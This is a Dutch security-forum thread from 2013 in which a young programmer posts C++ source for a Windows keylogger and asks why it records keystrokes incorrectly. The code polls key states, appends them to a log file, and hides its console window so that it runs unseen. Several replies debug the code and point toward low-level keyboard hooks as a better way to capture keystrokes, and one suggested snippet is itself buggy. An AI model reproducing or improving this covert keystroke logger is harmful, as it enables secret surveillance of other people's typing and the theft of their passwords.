Computerbeveiliging - Hoe je bad guys buiten de deur houdt

c++ Zelfgemaakte Keylogger.

05-01-2013, 15:12 door DavidBossen, 8 reacties
Hallo iedereen,
Ik ben David bossen, 19 jaartjes en ik ben erg geïnteresseerd in programmeren sinds dat ik rond de 13-14 jaar was. Ik heb HTML, PHP en CSS redelijk onder de knie. Maar er werd mij verteld dat je met C++ programmaatjes kunt maken. Nu ik gebruik voor C++ Microsoft Visual C++ 2010 en om rustig te leren heb ik eens geprobeerd een Keylogger te maken. Nu ik wil met die Keylogger niks doen, Keyloggers zijn strafbaar. Maar ik wil er goede bedoelingen mee hebben, namelijk 'leren'.
Ik heb de code geschreven, heb wat zitten opzoeken naar toevallige foutjes die ik heb gemaakt en ik vind de fouten niet.


#include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
[/qoute]

Ik heb het opgeslagen en gedebuged (of ge-debugd, ik zou het niet weten) en het werkt prima. Zodra ik begin te typen slaagt het alles op. Maar het slaagt alles heel raar op:

Testje dat ik heb gedaan:
"Youtube" en dit is wat er in mijn Log staat "UUBE"
Is er toevallig ergens een fout in de code die ik heb geschreven? Er staat in waar het moet worden opgeslagen, dat het een Onzichtbaar bestandje moet zijn, maar toch vol fouten.

Vriendelijke Groeten,
David
Reacties (8)
05-01-2013, 16:09 door Anoniem
Haha zelf gemaakt zeg je? http://www.ubers.org/Thread-C-How-To-Make-A-Basic-Keylogger-in-C-Tutorial

Heb het zelf ook gecompiled, werkt prima. Nog maar even doorstuderen dus ;)
05-01-2013, 16:48 door Anoniem
Op youtube kun je hier tutorials over vinden.
05-01-2013, 16:57 door Erik van Straten
Om te beginnen is dit geen "net" event-driven Windows programma. Gebruikelijk in een windows programma is een zogenaamde message loop waarin jouw programma de controle aan windows geeft totdat de gebuiker (of een device) iets te melden heeft.

Wat jij doet is voortdurend "pollen" wat de status van toetsen is. Dat werkte prima op een Commodore 64 (als je weet wat dat is) alhoewel het daarop ook veel CPU tijd zou kosten. De meeste computers zijn zo opgebouwd dat als er een knop op een toetsenbord wordt ingedrukt (of een muis wordt bewogen), de chip die de gegevens ontvangt (bijv. via USB) een hardware interrupt genereert. Daarmee wordt de CPU tijdelijk afgeleid van waar hij mee bezig was en verwerkt de binnenkomende data. Meestal wordt de data vervolgens in een queue (wachtrij) gezet. Later zal Windows kijken welke applicatie de zogenaamde "input focus" heeft en het de karakters (Virtual keystrokes) in 1 of meer messages naar de betreffende applicatie sturen.

Dat zijn geen echte messages, maar op het moment dat Windows jouw app wat te melden heeft, returnt hij naar jouw messageloop met als parameters de message. Die verwerk je in je app, waarna je ASAP weer naar Windows teruggaat:

User Windows Jouw app
| |
|--commando start app -->+
. |
. +---------------->+
T . . |
I . . Initialisatie
J . . |
D . . |
. . Main Message Loop <--.
| . . | |
v . +<--GetMessage----+ |
. | |
. Windows wacht op event/interrupt |
. (Of geeft andere apps CPU tijd) |
| | |
+- Toets gedrukt ------->+ |
. | |
. verwerking |
. | |
. | Return van |
. +-->GetMessage--->+ |
. . | |
. . Verwerking |
. . | |
. . `----------'
. .
Een keyboard afluisteren doe je het beste met een zogenaamde hook functie.

Hook overview: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644959(v=vs.85).aspx
Set Windows Hook: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
LowLevelkeyboardProc callback: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx

Typo gefixed 23:06 (ik was wat gehaast vanmiddag): terurnt -> returnt en paramaters -> parameters
05-01-2013, 17:32 door Anoniem
Nice uitleg!
05-01-2013, 17:42 door DavidBossen
Heel erg bedankt voor deze uitgebreide reactie!
05-01-2013, 20:22 door [Account Verwijderd]
[Verwijderd]
06-01-2013, 12:33 door Anoniem
Of tenminste een switch. Hoe dan ook, er mag nog wel even doorgeleerd worden. Dit heeft verrekte weinig met C++ te maken, afgezien dan van dat het in "Microsoft Visual C++" geschreven heet te zijn.
07-01-2013, 09:51 door Anoniem
Soms moet je nog opletten of je voor ASCII of UNICODE aan het compileren bent (8 bits of 16 bits tekens). Je code is duidelijk voor ASCII, dus ook ff checken of je niet voor UNICODE compileert.

Verder is een std::map nog handiger dan het array wat hugo voorstelt

zoiets als

std::map<char,std::string> keymap;
keymap[8] = std::string("Backspace");
keymap[13] = std::string("Enter");

std::map<char,std::string>::iterator it = mymap.find(key_stroke);
if ( it != mymap.end() ) // alternatieve string gevonden
{
output_file << *it; << endl; // *it wijst naar std::string
}
else
{
output_file << key_stroke << endl;
}

ipv frpintf raad ik trouwens aan om een filestream to openen en dan met "<<" te werken.
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.